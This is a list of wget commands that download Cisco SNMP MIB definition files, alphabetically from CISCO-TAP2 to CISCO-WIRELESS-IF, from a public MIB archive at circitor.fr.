wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TAP2-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TAP2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TBRIDGE-DEV-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TC-NO-U32.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TC.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TCP-METRICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TCP-STD-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TCPOFFLOAD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-CALL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-CALL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-EXCHANGE-SYSTEM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-EXCHANGE-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELEPRESENCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TELNET-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-THREAT-MITIGATION-SERVICE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-THREAT-MITIGATION-SERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TM.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TN3270SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TPC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRANSACTION-CONNECTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-INTERFACE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-INTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-POLICY-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-SERVER-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-SXP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-SXP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TRUSTSEC-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-TS-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UBE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UDLDP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UDLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UDP-STD-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-AAA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-ADAPTOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-BIOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-BMC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CALLHOME-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CAPABILITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CHANGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CIMCVMEDIA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-COMM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-COMPUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CONFORM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CONTROLLER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-CPMAINT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DCX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DIAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DOMAIN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DPSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-DUPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EPQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EQUIPMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-ETHER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EXTMGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EXTPOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-EXTVMM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FABRIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FAULT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FCPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FEATURE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FIRMWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FLOWCTRL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-FSM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-GMETA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-GRAPHICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-HOSTIMG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IDENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IMGPROV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IMGSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-INITIATOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IPPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-IQNPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-ISCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LICENSE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LSBOOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LSMAINT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-LSTORAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MACPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MAPPINGS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MEMORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-MOREF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-NETWORK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-NFS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-NOTIFS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-NWCTRL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-OBSERVE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-ORG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-OS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-PCI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-PKI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-POWER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-PROC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-PROCESSOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-QOSCLASS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-QUERYRESULT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-STATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-STORAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SYSDEBUG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-SYSFILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-TOP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-TRIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-UUIDPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-VERSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-VM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-COMPUTING-VNIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNIFIED-FIREWALL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNITY-EXPRESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-UNITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-USER-CONNECTION-TAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-USP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VDC-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VDC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIDEO-SESSION-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIDEO-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIDEO-TC.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VINES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIRTUAL-INTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIRTUAL-NIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIRTUAL-NW-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIRTUAL-SWITCH-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VIRTUAL-SWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-ATM-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CODEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CONN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-CONN-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-DSX0-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-DSX1-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-DSX1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-HDLC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-MODULE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-MODULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-RSRC-PART-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-SESSION-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-SVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VISM-XGCP-EXT.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-BRIDGING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-BRIDGING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-GROUP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-GROUP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-IFTABLE-RELATIONSHIP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-IFTABLE-RELATIONSHIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-MEMBERSHIP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-MEMBERSHIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-TRANSLATION-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VLAN-TRANSLATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VMPS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VMPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-AALX-PROFILE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-AALX-PROFILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-ANALOG-IF-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-ANALOG-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-APPLICATIONS-OID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-APPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-ATM-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-CARD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-CAS-MODULE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-CAS-MODULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-COMMON-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-CONNECTIVITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-DIAL-CONTROL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-DNIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-ENABLED-LINK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-FR-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-HDLC-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-LMR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-TONE-CADENCE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-TONE-CADENCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOICE-URI-CLASS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOIP-TAP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VOIP-TAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VPC-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VPC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VPDN-MGMT-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VPDN-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VPN-LIC-USAGE-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VQE-TOOLS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VQES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VRF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VSAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VSI-CONTROLLER-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VSI-CONTROLLER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VSI-MASTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VSIMASTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VTP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-VTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-3G-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-AAL2-PROFILES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ANNOUNCEMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-CONN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-CONN-STAT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-CONN-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-COSB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-CUG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-PARTY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-ATM-PREF-ROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-AXIPOP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-BBIF-ATM-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-BBIF-ATM-CONN-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-BBIF-ILMI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-BBIF-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CELL-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CELL-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CES-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CES-CONN-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CES-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CES-RSRC-PART-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-CODEC-GEN-PARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FEEDER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-CONN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-CONN-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-PORT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-RSRC-PART-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-SIGNALING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-FR-X21-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-LAPD-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-MG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-MGC-REDUN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-MODULE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-MODULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-NCDP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-NCDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-OPTIMIZATION-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-OPTIMIZATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-PAR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-PERSISTENT-XGCP-EVENTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-RPM-CONN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-RSRC-PART-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-RSRC-PART-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-RTP-CONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SCT-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SONET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SRCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SRM-BERT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SRM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-SVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-T38-FAXRELAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-TOPOLOGY-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-TOPOLOGY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-TRAP-VARS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-AAL2-PROFILES-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-ANNOUNCEMENT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-CAS-GRP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-LAPD-TRUNK-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-MG-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-MGC-REDUN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-RTP-CONN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-SRCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-T38-FAX-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-TONE-PLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WAN-VISM-XGCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WBX-MEETING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WDS-IDS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WDS-IDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WDS-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-DOCS-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-DOCS-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-EXP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-IF-MIB.mib
